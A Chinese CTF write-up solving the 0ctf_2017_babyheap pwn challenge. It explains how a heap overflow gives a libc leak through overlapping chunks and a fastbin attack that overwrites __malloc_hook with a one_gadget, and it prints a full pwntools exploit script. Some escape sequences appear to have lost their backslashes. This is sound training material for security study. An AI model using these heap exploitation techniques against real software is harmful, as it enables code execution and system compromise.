zoukankan      html  css  js  c++  java
  • [BUUCTF]PWN——0ctf_2017_babyheap

    0ctf_2017_babyheap

    附件

    步骤:

    1. 例行检查,64位程序,保护全开
      在这里插入图片描述
    2. 本地试运行一下,看看大概的情况,经典的堆题的菜单
      在这里插入图片描述
    3. main函数
      在这里插入图片描述

    add()
    在这里插入图片描述
    edit()
    在这里插入图片描述
    delete()
    在这里插入图片描述
    show()
    在这里插入图片描述

    利用思路

    1. edit存在堆溢出,可以通过重叠堆来泄露libc
    2. 然后利用fastbin attack,修改malloc_hook为one_gadget

    利用过程

    1. 首先来构造重叠堆
      先申请3个chunk,
    add(0x10)#0
    add(0x10)#1
    add(0x80)#2
    

    来看一下堆的布局
    在这里插入图片描述
    2. 接着利用堆溢出,将chunk1的size修改掉,使其能够包裹住chunk2,这样就构成了重叠堆

    edit(0,p64(0)*3+p64(0xb1))
    

    在这里插入图片描述
    之后释放chunk1,在重新申请回来,主要是为了修改结构体中的size,show的长度是根据这个来定的,由于calloc申请的chunk会初始化置0,所以还得要重新修改一下

    delete(1)
    add(0xa0)#1   delete再add回来使为了改变结构体中的size值,因为show的长度使根据这个值来定的
    edit(1,p64(0)*3+p64(0x91))  #因为使通过calloc申请回chunk1的所以chunk2被清零,我们要恢复chunk2
    
    1. 由于我申请的chunk2的size大于max_fast bin,所以free掉后会进入unsorted bin,而如果只有一个bin的话,其fd与bk都是main_arena + offset,我们通过打印chunk1就能够得到main_arena + offset的地址了,这样就泄露了libc,可以计算出malloc_hock的地址
    delete(2)  
    show(1)
    libc_base = u64(p.recvuntil('x7f')[-6:].ljust(8,'x00')) -0x3c4b78
    malloc_hook =  libc_base + libc.symbols['__malloc_hook']
    

    为什么偏移是0x3c4b78?,我之前的文章里有提到过

    1. 接下来是fastbin attack覆盖malloc_hock为one_gadget
    delete(4)
    edit(3,p64(0)*7+p64(0x71)+p64(malloc_hook-0x23)) 
    add(0x68)#2    #fasbin attack
    add(0x68)#4
    one = [0xf1147,0xf02a4,0x4526a,0x45216]
    one_gadget = libc_base + one[2]
    edit(4,'x00'*0x13+p64(one_gadget)) 
    

    我们已经将malloc_hook的地址覆写成了one_gadget,现在add一个chunk就能获取shell了

    为什么是malloc_hook-0x23,我之前的这篇文章也有讲到过

    完整exp:

    from pwn import *
    
    context.log_level = 'debug'
    p=remote("node3.buuoj.cn",28294)
    p = process('./0ctf_2017_babyheap')
    libc = ELF('/libc-2.23-64.so')
    
    def add(size):
        p.sendlineafter('Command: ','1')
        p.sendlineafter('Size: ',str(size))
    
    def edit(idx,content):
        p.sendlineafter('Command: ','2')
        p.sendlineafter('Index: ',str(idx))
        p.sendlineafter('Size: ',str(len(content)))
        p.sendlineafter('Content: ',content)
    
    def delete(idx):
        p.sendlineafter('Command: ','3')
        p.sendlineafter('Index: ',str(idx))
    
    def show(idx):
        p.sendlineafter('Command: ','4')
        p.sendlineafter('Index: ',str(idx))
    
    #---------------这3个一组,是为了泄漏libc地址----------#
    add(0x10)#0
    add(0x10)#1
    add(0x80)#2
    #---------------这3个一组,是为了fastbin attack 覆写malloc hook 为one_gadget ----------#
    add(0x30)#3
    add(0x68)#4
    add(0x10)#5
    
    #------------------泄漏libc地址------------------------------------#
    edit(0,p64(0)*3+p64(0xb1))#通过edit(0)来改变chunk1的大小,使其包裹chunk2
    delete(1)
    add(0xa0)#1   delete再add回来使为了改变结构体中的size值,因为show的长度使根据这个值来定的
    edit(1,p64(0)*3+p64(0x91))  #因为使通过calloc申请回chunk1的所以chunk2被清零,我们要恢复chunk2
    delete(2)  #使的chunk2进入unsorted bin
    show(1)     #泄漏chunk2的fd
    libc_base = u64(p.recvuntil('x7f')[-6:].ljust(8,'x00')) -0x3c4b78
    print 'libc_base: '+hex(libc_base)
    malloc_hook =  libc_base + libc.symbols['__malloc_hook']
    
    #-----------------fastbin attack-------------------------------------#
    delete(4)#释放使其进入fastbin
    edit(3,p64(0)*7+p64(0x71)+p64(malloc_hook-0x23)) #修改其fd指针
    add(0x68)#2    #fasbin attack
    add(0x68)#4
    one = [0xf1147,0xf02a4,0x4526a,0x45216]
    one_gadget = libc_base + one[2]
    edit(4,'x00'*0x13+p64(one_gadget)) #覆盖malloc_hook为one_gadget
    
    add(0x10)
    #gdb.attach(p)
    
    p.interactive()
    

    在这里插入图片描述

  • 相关阅读:
    Leetcode Reverse Words in a String
    topcoder SRM 619 DIV2 GoodCompanyDivTwo
    topcoder SRM 618 DIV2 MovingRooksDiv2
    topcoder SRM 618 DIV2 WritingWords
    topcoder SRM 618 DIV2 LongWordsDiv2
    Zepto Code Rush 2014 A. Feed with Candy
    Zepto Code Rush 2014 B
    Codeforces Round #245 (Div. 2) B
    Codeforces Round #245 (Div. 2) A
    Codeforces Round #247 (Div. 2) B
  • 原文地址:https://www.cnblogs.com/xlrp/p/14273602.html
Copyright © 2011-2022 走看看